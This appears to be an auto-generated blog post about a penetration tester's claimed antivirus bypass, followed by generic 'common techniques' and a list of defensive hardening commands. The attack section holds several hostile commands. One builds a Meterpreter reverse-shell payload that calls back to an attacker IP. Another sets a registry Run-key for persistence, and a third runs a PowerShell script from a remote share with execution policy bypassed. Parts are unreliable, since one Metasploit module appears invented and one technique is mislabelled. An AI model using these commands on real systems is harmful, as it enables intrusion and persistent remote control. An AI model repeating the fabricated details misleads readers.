Bypassing McAfee Total Protection and Other Antivirus Solutions

In a recent post, Eslam Mohamed, a Senior Penetration Tester, shared his success in bypassing McAfee Total Protection and several other leading antivirus solutions, including Kaspersky, Trend Micro, Sophos EDR, ESET, Avast, Bitdefender, MalwareBytes, Symantec, and CrowdStrike. This achievement highlights the ongoing challenges in cybersecurity and the need for continuous improvement in defensive mechanisms.

Techniques and Commands

While the specific techniques used were not detailed in the post, here are some common methods and commands that penetration testers might use to bypass antivirus software:

1. Process Injection: Injecting malicious code into a legitimate process to evade detection.

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   <h1>Example of process injection using Metasploit</h1>
   
   msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your_IP> LPORT=<Your_Port> -f exe -o payload.exe
   

   1. Persistence Mechanisms: Ensuring the malware remains active on the target system.

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      <h1>Adding a registry key for persistence</h1>
      
      reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v "Update" /t REG_SZ /d "C:\path\to\payload.exe"
      

      1. Obfuscation: Using tools to obfuscate the payload to avoid signature-based detection.

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         <h1>Obfuscating a PowerShell script</h1>
         
         Invoke-Obfuscation -ScriptPath .\payload.ps1 -Command 'Token\All\1'
         

         1. Living Off the Land: Utilizing legitimate system tools (e.g., PowerShell, WMI) to execute malicious activities.

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            <h1>Executing a PowerShell script remotely</h1>
            
            powershell -ExecutionPolicy Bypass -File \<Remote_IP>\share\payload.ps1
            

            1. Exploiting Vulnerabilities: Leveraging unpatched vulnerabilities in the antivirus software itself.

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               <h1>Example of exploiting a vulnerability using Metasploit</h1>
               
               use exploit/windows/local/antivirus_vulnerability
               set SESSION 1
               exploit
               

               What Undercode Say

               The ability to bypass leading antivirus solutions underscores the importance of adopting a multi-layered security approach. While antivirus software is a critical component of cybersecurity, it should not be the sole line of defense. Organizations must implement additional measures such as intrusion detection systems (IDS), endpoint detection and response (EDR) solutions, and regular security audits.

               Here are some additional commands and practices to enhance your cybersecurity posture:

               1. Linux Commands for Security Audits:

               
               <h1>Check for open ports</h1>
               
               nmap -sV -p- <target_IP>
               
               <h1>Monitor network traffic</h1>
               
               tcpdump -i eth0 -w capture.pcap
               
               <h1>Check for rootkits</h1>
               
               chkrootkit
               

               2. Windows Commands for System Hardening:

               
               <h1>Disable unnecessary services</h1>
               
               sc config <service_name> start= disabled
               
               <h1>Enable Windows Defender</h1>
               
               Set-MpPreference -DisableRealtimeMonitoring $false
               
               <h1>Check for system vulnerabilities</h1>
               
               wmic qfe list
               

               3. Regular Updates and Patching:

               
               <h1>Update Linux packages</h1>
               
               sudo apt-get update && sudo apt-get upgrade -y
               
               <h1>Update Windows systems</h1>
               
               wuauclt /detectnow /updatenow
               

               4. Log Analysis:

               
               <h1>Analyze Linux logs</h1>
               
               cat /var/log/auth.log | grep "Failed password"
               
               <h1>Analyze Windows Event Logs</h1>
               
               Get-WinEvent -LogName Security | Where-Object {$_.ID -eq 4625}
               

               5. Backup and Recovery:

               
               <h1>Backup Linux system</h1>
               
               tar -cvpzf /backup/backup.tar.gz --exclude=/backup --exclude=/proc --exclude=/lost+found --exclude=/sys --exclude=/mnt --exclude=/media --exclude=/run /
               
               <h1>Backup Windows system</h1>
               
               wbadmin start backup -backupTarget:<Drive_Letter>: -include:<Partition_Letter>:
               

               In conclusion, the cybersecurity landscape is constantly evolving, and so are the tactics used by both attackers and defenders. Staying informed about the latest vulnerabilities, regularly updating systems, and employing a comprehensive security strategy are essential to protecting against sophisticated threats. For further reading on bypassing antivirus solutions, consider visiting OWASP and MITRE ATT&CK.

               References:

               initially reported by: https://www.linkedin.com/posts/eslam-mohamed-676382173_i-abled-to-bypass-mcafee-total-protection-ugcPost-7301561419173396481-OQDi – Hackers Feeds
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